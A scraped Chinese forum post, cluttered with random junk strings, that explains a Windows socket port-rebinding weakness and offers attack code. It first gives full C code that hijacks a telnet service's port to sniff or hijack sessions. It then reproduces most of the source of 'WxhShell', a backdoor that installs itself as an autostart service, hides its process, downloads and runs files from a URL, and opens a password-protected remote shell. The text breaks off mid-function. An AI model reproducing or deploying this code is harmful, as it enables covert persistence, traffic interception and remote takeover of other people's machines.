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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :oJ!9\5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0:eK}tC  
GGFrV8  
  saddr.sin_family = AF_INET; Z FIgKWZ'  
7Ur'@wr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {tnhP^C3>  
-i4hJC!3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pFEU^]V3*  
C0L(ti;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yI's=Iu`  
`>`{DEDx{5  
  这意味着什么?意味着可以进行如下的攻击: EHt(! ;?q  
),0Ea~LB4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p0HcuB)Y  
# twl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3UJSK+d\  
ak(P<OC-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #}8gHI-9%  
mMad1qCi7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5 Praj  
>n>gX/S<C  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j7C&&G q  
g+=f=5I3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @T{I;8S  
~uJO6C6A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i\\,Z L  
MUp{2_RA  
  #include iRL|u~bj  
  #include q)]S:$?BT  
  #include @oFuX.  
  #include    ] -G~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gR k+KGKn<  
  int main() _"qX6Jc  
  { *w1R>  
  WORD wVersionRequested; E D_J8 +  
  DWORD ret; |exjrsmM*  
  WSADATA wsaData; bd`}2vr  
  BOOL val; Y^ ,G} &p  
  SOCKADDR_IN saddr; 0j[%L!hny  
  SOCKADDR_IN scaddr; e'dZ2;X$zo  
  int err; o]0\Km  
  SOCKET s; M\=/i\-  
  SOCKET sc; /^Zgv-n  
  int caddsize; 0+_:^z  
  HANDLE mt; yzz(<s:o/  
  DWORD tid;   )H<F([Jri  
  wVersionRequested = MAKEWORD( 2, 2 ); y;tX`5(fe  
  err = WSAStartup( wVersionRequested, &wsaData ); A<cnIUW  
  if ( err != 0 ) { K<"Y4O#]  
  printf("error!WSAStartup failed!\n"); 9 icy&'  
  return -1; :4S~}}N  
  } 5~xv"S(E}  
  saddr.sin_family = AF_INET; 4+a u6ABy  
   /Y*6mQ:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U\;mM\2rE  
Vxim$'x!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M"z3F!-j  
  saddr.sin_port = htons(23); NSQf@o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Su[f"2oR  
  { Y_M3-H=0  
  printf("error!socket failed!\n"); qF4pTQf  
  return -1; 4:qM'z  
  } zvh&o*\2<d  
  val = TRUE; $lAhKpdlW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (\$=+' hy  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F0+@FS0   
  { bOdyrynh  
  printf("error!setsockopt failed!\n"); %hb!1I  
  return -1; RhumNP<M  
  } Ec|5'Kz]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r`d.Wy Zj  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 OeY+Yt0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?L6ACi`9  
qeoj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r!O4]j_3  
  { ;O * o  
  ret=GetLastError(); GZNfx8zsY+  
  printf("error!bind failed!\n"); Dq~D4|  
  return -1; !\N|$-M  
  } FLOSdMYdw  
  listen(s,2); iCZ1ARi  
  while(1) W8s/"  
  { h%(0|  
  caddsize = sizeof(scaddr); HXRK<6k$  
  //接受连接请求 MNsgD3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ed&M  
  if(sc!=INVALID_SOCKET) ewzZb*\  
  { 4Awl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j{;IiVHnR  
  if(mt==NULL) /? HLEX  
  { ryoD 1OE  
  printf("Thread Creat Failed!\n"); . g95E<bd  
  break; /*) =o+  
  } hS:j$j e  
  } $61*X f+*  
  CloseHandle(mt); # >L^W7^  
  } *heX[D &>)  
  closesocket(s); wU bLw  
  WSACleanup(); >EIV`|b$h  
  return 0; nV+]jQ~o  
  }   _.$g?E/(  
  DWORD WINAPI ClientThread(LPVOID lpParam) @;H1s4OZ  
  { P :D6w){  
  SOCKET ss = (SOCKET)lpParam; 5nJmabw3  
  SOCKET sc; Xu#K<#V  
  unsigned char buf[4096]; U4$CkTe2Y  
  SOCKADDR_IN saddr; LzJNQd'  
  long num; !)TO2?,^  
  DWORD val; ,mW-O!$3W  
  DWORD ret; 8t Ef>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?g #4&z.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =f{YwtG  
  saddr.sin_family = AF_INET; {`CmE/`{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E0Jk=cq  
  saddr.sin_port = htons(23); .f]2%utHB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yu] nK-Y7S  
  { H@pF3gh  
  printf("error!socket failed!\n"); +~]LvZtI_  
  return -1; ~J,e^$u  
  } ^N_?&pgy  
  val = 100;  [EU \-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) CNF3".a  
  { #9) D.d|5  
  ret = GetLastError(); $f]dL};  
  return -1; YXWlg%s  
  } J`4{O:{4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KF4}cM=.5  
  { V;-YM W  
  ret = GetLastError(); m^Xq<`e"<  
  return -1; @G;\gJT*  
  } 2 .)`8|c9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2pQdDbm  
  { C [h^bBq  
  printf("error!socket connect failed!\n"); W6[# q%o  
  closesocket(sc); z?i{2Fz6  
  closesocket(ss); V[N4 {c  
  return -1; V}UYr Va#9  
  } !K$qh{n  
  while(1) />\6_kT  
  { K<Qy1y~[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >*aqYNft  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;iMgv5=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 El)WjcmH  
  num = recv(ss,buf,4096,0); G*lkVQ6?  
  if(num>0) SYsbe 5j  
  send(sc,buf,num,0); ?yqTLj  
  else if(num==0) N N;'QiE  
  break; urK[v  
  num = recv(sc,buf,4096,0); =-U8^e_Y  
  if(num>0) YKT=0   
  send(ss,buf,num,0); ZhpbbS  
  else if(num==0) Z#P:C":e  
  break; R8<'m  
  } f~NGIlgR  
  closesocket(ss); YZH &KGY  
  closesocket(sc); D-IXO @x  
  return 0 ; BE]PM nI  
  } wkwsBi  
)+S^{tt  
~qxuD_  
========================================================== 9 L^:N)-  
 + Y  
下边附上一个代码,,WXhSHELL )mVpJYt;  
a9CK4Kg  
========================================================== $yA2c^QS  
!?~>f>js_l  
#include "stdafx.h" %[9d1F 3  
~HH6=qjU)  
#include <stdio.h> ;5fq[v^P:  
#include <string.h> )+ss)L EC  
#include <windows.h> vtS [Tkk|A  
#include <winsock2.h> BRg(h3 ED  
#include <winsvc.h> ^cy.iolt  
#include <urlmon.h> JM-rz#;1  
_(Qec?[^Ps  
#pragma comment (lib, "Ws2_32.lib") }.j09[<  
#pragma comment (lib, "urlmon.lib") RC| t-(Z  
{tlt5p!4  
#define MAX_USER   100 // 最大客户端连接数 -Ob89Z?2A  
#define BUF_SOCK   200 // sock buffer @a{1vT9b  
#define KEY_BUFF   255 // 输入 buffer N$i|[>`j  
f4TNy^-  
#define REBOOT     0   // 重启 b\l +S2  
#define SHUTDOWN   1   // 关机 `Ko6;s#  
rcWr0q  
#define DEF_PORT   5000 // 监听端口 XvIrO]F-  
ED+tVXyw  
#define REG_LEN     16   // 注册表键长度 eZ^-gk?  
#define SVC_LEN     80   // NT服务名长度 -:|1>og  
&b#O=LF  
// 从dll定义API `1eGsd,f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z` :uvEX0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =U_WrY<F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !VJ5(b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9<ev]XaSl  
rprtp5Cg  
// wxhshell配置信息 rg^  
struct WSCFG { B.-1wZl  
  int ws_port;         // 监听端口 i!!1^DMrw  
  char ws_passstr[REG_LEN]; // 口令 -8]M ,,?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 85Hb~|0  
  char ws_regname[REG_LEN]; // 注册表键名 lQolE P.pc  
  char ws_svcname[REG_LEN]; // 服务名 x*" 0dYH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LS=HX~5C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'L"dM9#>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Uu9*nH_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &u_s*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UaQR0,#0y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +Xg]@IS-eg  
h* to%N  
}; T!T6M6?  
AIR\>.~"i*  
// default Wxhshell configuration Q'ok%9q!p  
struct WSCFG wscfg={DEF_PORT, (\Qk XrK  
    "xuhuanlingzhe", 0m|$ vb  
    1, zMUifMiAj  
    "Wxhshell", $]G_^ji)K  
    "Wxhshell", JY|f zL  
            "WxhShell Service", ];.H]TIc6  
    "Wrsky Windows CmdShell Service", 3\xvy{r  
    "Please Input Your Password: ", PV*U4aP  
  1, nzdJ*C  
  "http://www.wrsky.com/wxhshell.exe", 8p?Fql}F [  
  "Wxhshell.exe" %z(nZ%,Z  
    }; -}B&>w,5  
k8}*b&+{vz  
// 消息定义模块 F .(zS(q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;eG,T-:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AC$:.KLI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q5irKT*Hs  
char *msg_ws_ext="\n\rExit."; #N=!O/Y  
char *msg_ws_end="\n\rQuit."; ib4shaN`  
char *msg_ws_boot="\n\rReboot..."; AQ>8]`e`  
char *msg_ws_poff="\n\rShutdown..."; ctv=8SFv(  
char *msg_ws_down="\n\rSave to "; Q)7iu  
SYPG.O?I  
char *msg_ws_err="\n\rErr!"; e Akjpc  
char *msg_ws_ok="\n\rOK!"; p#~Dq(Q  
`@acQs;0  
char ExeFile[MAX_PATH]; , 8NY<sFh  
int nUser = 0; Q.q'pJ-  
HANDLE handles[MAX_USER]; JO4rU- n  
int OsIsNt; Pw^ lp'dO  
yX}riXe  
SERVICE_STATUS       serviceStatus; }4!R2c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8u,f<XHi"a  
v>2gx1F"?  
// 函数声明 |G+6R-_  
int Install(void); vpoeK'bi,  
int Uninstall(void); liW0v!jBo  
int DownloadFile(char *sURL, SOCKET wsh); qeK_w '  
int Boot(int flag); 1CkBfK  
void HideProc(void); 0i[,`>-Av  
int GetOsVer(void); ,Qgxf';+$  
int Wxhshell(SOCKET wsl); >Jl(9)e  
void TalkWithClient(void *cs); bIR AwktD  
int CmdShell(SOCKET sock); Q1fJ`A=  
int StartFromService(void); r*|#*"K"a  
int StartWxhshell(LPSTR lpCmdLine); ay\e# )  
U{2[n F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~ >af"<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _]~gp.  
 [>IAS>  
// 数据结构和表定义 m'))prl  
SERVICE_TABLE_ENTRY DispatchTable[] = TwlrncK*  
{ #Z'r;YOzs  
{wscfg.ws_svcname, NTServiceMain}, H1]An'qz,  
{NULL, NULL} -.8 nEO3  
}; 2L#$WuM~^  
LRqBP|bjCD  
// 自我安装 U2=PmS P  
int Install(void) < sJ  
{ (p2jigP7a[  
  char svExeFile[MAX_PATH]; XY[uyR4Z  
  HKEY key; e12.suv  
  strcpy(svExeFile,ExeFile); yG)zrRU  
S}q6CG7 u  
// 如果是win9x系统,修改注册表设为自启动 Y<'T;@  
if(!OsIsNt) { 6!|-,t><  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2]Nc@wX`p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); : Gp,d*M  
  RegCloseKey(key); f$G{7%9*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jl;%?bx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); STDT]3.  
  RegCloseKey(key); '!)|;qe  
  return 0; iWbrX1 I+  
    } [NE:$@  
  } _S43_hW  
} 5]/i[T_  
else { bk@F/KqL  
<,%qt_ !  
// 如果是NT以上系统,安装为系统服务 1}A1P&2>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qVOlUH  
if (schSCManager!=0) sLGut7@Sg  
{ #{]X<et  
  SC_HANDLE schService = CreateService @`&kn;7T  
  ( eIEr\X4\~~  
  schSCManager, F;Q8^C0e*c  
  wscfg.ws_svcname, tta\.ic  
  wscfg.ws_svcdisp, DYJ F6O  
  SERVICE_ALL_ACCESS, -r%3"C=m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iw!kV  
  SERVICE_AUTO_START, ~_SoP  
  SERVICE_ERROR_NORMAL, E2M|b  
  svExeFile, @Sxb}XI!f  
  NULL, i%m]<yElm  
  NULL, 8+ P)V4}  
  NULL, >z'kCv  
  NULL, _e%jM[  
  NULL Nwu,:}T  
  ); }g1V6 `8&  
  if (schService!=0) VKcO]_W1  
  { Mqu>#lL  
  CloseServiceHandle(schService); Y#9dVUS  
  CloseServiceHandle(schSCManager); EV}c,*);y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K !&{k94  
  strcat(svExeFile,wscfg.ws_svcname); "*E#4e[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Rf)lFi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *.X!AJ;M=O  
  RegCloseKey(key); :"Vfn:Q  
  return 0; Uq0GbLjv"  
    } qJ).;S{AAt  
  } r=Up-(j  
  CloseServiceHandle(schSCManager); PNwXZ/N%  
} Ob:}@jj  
} N/ 7Q(^  
(1`z16  
return 1; 2!Ip!IQ:  
} `N8?F3>  
C-Q]f  
// 自我卸载 s8,{8k  
int Uninstall(void) YGRv``(  
{ ][b_l(r$?  
  HKEY key; !a"RHg:HO  
v%_5!SR  
if(!OsIsNt) { Tx)X\&ij&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %d<uOCf\Q  
  RegDeleteValue(key,wscfg.ws_regname); u{F^Ngy )  
  RegCloseKey(key); F!FXZht$P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ykY#Y}?^  
  RegDeleteValue(key,wscfg.ws_regname); 0'Kbh$LU  
  RegCloseKey(key); N# o" W  
  return 0; DA)mkp  
  } F9DY\EI  
} [X +E  
} Q~R7]AyR  
else { }co v"o  
ZeVb< g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); II !Nr{A  
if (schSCManager!=0) [yzDa:%  
{ T~shJ0%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~&>|u5C*@  
  if (schService!=0) Rj&V~or  
  { g. V6:>,  
  if(DeleteService(schService)!=0) { )sWC5\  
  CloseServiceHandle(schService); FyZp,uD  
  CloseServiceHandle(schSCManager); 6$"gm$3O]  
  return 0; *XRAM.  
  } h,:8TMJRRN  
  CloseServiceHandle(schService); "i+fO&LpZ  
  }  nwH'E  
  CloseServiceHandle(schSCManager); ]#n,DU}V  
} nJ !`^X5I  
} qA4w*{JN  
yDwG,)m 4s  
return 1; ;t'~  
} 3B }Oy$p  
,uEi*s>  
// 从指定url下载文件 vA(V.s`  
int DownloadFile(char *sURL, SOCKET wsh) !}u'%  
{ crV2T  
  HRESULT hr; iHKWz)0  
char seps[]= "/"; qT( 3M9!  
char *token; }Wxu=b  
char *file; <t9#~x#'b  
char myURL[MAX_PATH]; %_*q'6K  
char myFILE[MAX_PATH]; B^W0Ik`m  
3GkVMYI  
strcpy(myURL,sURL); |Gc2w]\3  
  token=strtok(myURL,seps); RS'%;B-)  
  while(token!=NULL) &|t*9 D  
  { 9~8UG (  
    file=token; ?S9!;x<  
  token=strtok(NULL,seps); P I gbeP  
  } N7A/&~g5L  
N%1T>cp0  
GetCurrentDirectory(MAX_PATH,myFILE); =d#3& R]p  
strcat(myFILE, "\\"); %xE9vN;  
strcat(myFILE, file); P{ AJH1  
  send(wsh,myFILE,strlen(myFILE),0); 8$ SA"c)  
send(wsh,"...",3,0); (+' *_   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); iV8j(HV  
  if(hr==S_OK) G813NoS o  
return 0; J%ym1A9  
else uj@rv&  
return 1; ,z6&k   
({/@=e x*  
} %M+ID['K9/  
]AlRu(  
// 系统电源模块 7r=BGoA2E  
int Boot(int flag) >_ji`/ d{  
{ +" 4E:9P?  
  HANDLE hToken; GT|=Kx$;  
  TOKEN_PRIVILEGES tkp; f_}FYeg  
=Z ^=  
  if(OsIsNt) { S^}@X?v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $<jI<vD+:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k@qn' Zi  
    tkp.PrivilegeCount = 1; L&td4`2y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b"-eQb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OSc&n>\t  
if(flag==REBOOT) { ;\yVwur  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $i@~$m7d-  
  return 0; s'yA^ VPf  
} $xT'cl/IH  
else { ]-O/{FIv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xviz{M9g  
  return 0; wy3{>A Z(  
} sWp]Zy  
  } oi4tj.!J  
  else { *c}MI e'&  
if(flag==REBOOT) { qp>V\h\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]$)J/L(p/]  
  return 0; y:Ycn+X.  
} jBexEdH  
else { bqmOfGM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {9wBb`.n^  
  return 0; #8.%YG  
} Snx_NH#tA  
} .VF4?~+M-  
m S[Vl6  
return 1; _aOisN{  
} `.PZx%=  
ax7]>Z=%d"  
// win9x进程隐藏模块 N~H9|CX  
void HideProc(void) r0=Aru5n  
{ T9enyYt%  
\ ]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1=C>S2q  
  if ( hKernel != NULL ) 3| 5Af  
  { ?YR/'Vq97  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;hsgi|Cy-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D@T>z;  
    FreeLibrary(hKernel); AtNu:U$  
  } 6yZfV7I  
Cg NfqT0  
return; B42.;4"T  
} !$ikH,Bh  
NNC@?A7  
// 获取操作系统版本 PE1F3u>O  
int GetOsVer(void) ~fLuys`*:  
{ r 5::c= Cl  
  OSVERSIONINFO winfo; n m4+$GW   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F-%wOn /  
  GetVersionEx(&winfo); l%h0x*?$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v*}r<} j  
  return 1; eaQ)r?M  
  else Y2i:ZP  
  return 0; o@[yF<  
} ;j]0GD,c$  
F$Q( 2:w  
// 客户端句柄模块 F)4Y;;#  
int Wxhshell(SOCKET wsl) &mj98  
{ _uL{@(  
  SOCKET wsh; )+2GF0%  
  struct sockaddr_in client; ?[Xv(60]  
  DWORD myID; j["b*X`8G  
0ts] iQ7  
  while(nUser<MAX_USER) R[>fT}Lo  
{ !K;\{/8  
  int nSize=sizeof(client); `9SRiy  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q jMH1S  
  if(wsh==INVALID_SOCKET) return 1; !%n3_tZC  
|<&9_Aq_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [>xwwm  
if(handles[nUser]==0) hR" j[  
  closesocket(wsh); C Sx V^  
else U1<EAGo|  
  nUser++; +ZeHZjd  
  }  ~0 <?^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `(A>7;]:  
} y@pAeS,  
  return 0; 8"R; axeD  
} \nM$qr'`B  
h32QEz-+  
// 关闭 socket CqQ>"Y  
void CloseIt(SOCKET wsh) o9+ "6V|.  
{ l@ vaupg  
closesocket(wsh); x_lCagRGC4  
nUser--; D{YAEG   
ExitThread(0); 4f/2gI1@B  
} SBo>\<@  
-d? 9Acd  
// 客户端请求句柄 v5U\E`)s  
void TalkWithClient(void *cs) 5tI4m#y2  
{ 6tXx--Nh  
jt-Cy  
  SOCKET wsh=(SOCKET)cs; P]A>"-k  
  char pwd[SVC_LEN]; -?gr3rV@  
  char cmd[KEY_BUFF]; lNuZg9h  
char chr[1]; K@lZuQ.1  
int i,j; nsWenf  
INZycNqm,  
  while (nUser < MAX_USER) { 1qXqQA  
FHWzwi*u}  
if(wscfg.ws_passstr) { T4n.C~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !$r4 lu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $PA=7`\MP/  
  //ZeroMemory(pwd,KEY_BUFF); ~`M>&E@Y_/  
      i=0; 46c7f*1l  
  while(i<SVC_LEN) { B,?Fjot#m  
')%Kv`hz  
  // 设置超时 %O-RhB4q  
  fd_set FdRead; e<s56<3j  
  struct timeval TimeOut; 1'tagv?  
  FD_ZERO(&FdRead); -:IG{3fnu  
  FD_SET(wsh,&FdRead); VF1)dd  
  TimeOut.tv_sec=8; +#~=QT9  
  TimeOut.tv_usec=0; >}{'{ Z &  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g'G%BX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DIO @Zo  
Q*|O9vu'D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SiJ0r @  
  pwd=chr[0]; J9J[.6k8  
  if(chr[0]==0xd || chr[0]==0xa) { $!P(Q  
  pwd=0; ??tyz4$;  
  break; ~7aBli=  
  } t]1j4S"pm  
  i++; 6||zwwk'.  
    } EacqQFErl  
[9S\3&yoh  
  // 如果是非法用户,关闭 socket No8~~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PGZ.\i  
} .ruGS.nS4  
/5M@>A^?'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9An_zrJ%i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fRKO> /OT  
5HP6o  
while(1) { -AwR$<q'  
@ @$=MSN  
  ZeroMemory(cmd,KEY_BUFF); Rt!G:hy7  
-N`j` zb|  
      // 自动支持客户端 telnet标准   /VB n  
  j=0; yU"lW{H@  
  while(j<KEY_BUFF) { weCRhA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3\FPW1$i|[  
  cmd[j]=chr[0]; *yp}#\rk  
  if(chr[0]==0xa || chr[0]==0xd) { Pe@M_ r  
  cmd[j]=0; Qd"{2>  
  break; m[&]#K6  
  } G4g <PFx  
  j++; K%9PIqK?4  
    } AnVj '3  
jG=*\lK6  
  // 下载文件 .&d]7@!qy  
  if(strstr(cmd,"http://")) { |@pJ]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gs$<r~Tg  
  if(DownloadFile(cmd,wsh)) mlCw(i,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F. X{(8  
  else M##h<3I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zRtaO'G(  
  } t6p}LNm(V  
  else { pQr `$:ga  
xi=Z<G  
    switch(cmd[0]) { JzH\_,,  
  0KqGJ :Ru  
  // 帮助 '/+l\.z"&  
  case '?': { 4~-"k{Xt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !FOPFPn  
    break; VQE8hQ37  
  } "'p;Udt/Qm  
  // 安装 h-`Jd>u"  
  case 'i': { <%klrQya  
    if(Install()) vU Bk oC2Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |__\Vn  
    else VgG*y#Qf$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #mY*H^jI]~  
    break; UP=0>jjbn:  
    } @2Xw17[f35  
  // 卸载 Wj2]1A  
  case 'r': { Z\8TpwD2  
    if(Uninstall()) KB+,}7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S)Cd1`Gf  
    else B:qH7`s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HrQBzS  
    break; s hjb b  
    } j48cI3C  
  // 显示 wxhshell 所在路径 hEAt4z0P  
  case 'p': { ,aS6|~ac4  
    char svExeFile[MAX_PATH]; %!$ua_8  
    strcpy(svExeFile,"\n\r"); 4eapR|#T  
      strcat(svExeFile,ExeFile); [f["9(:  
        send(wsh,svExeFile,strlen(svExeFile),0); c;DWSgIw  
    break; A,-UW+:  
    } ZY-UQ4_|u  
  // 重启 X8l[B{|  
  case 'b': { {IEc{y7?gO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s6SG%Vd  
    if(Boot(REBOOT)) e$>.x< Eq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %lPAq  
    else { _YzItge*  
    closesocket(wsh); HHu|X`tc  
    ExitThread(0); F VW&&ft  
    } Unev[!  
    break; aRg/oA4}  
    } 2ILMf?}  
  // 关机 TS+itU62  
  case 'd': { z7'3d7r?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y BF3Lms  
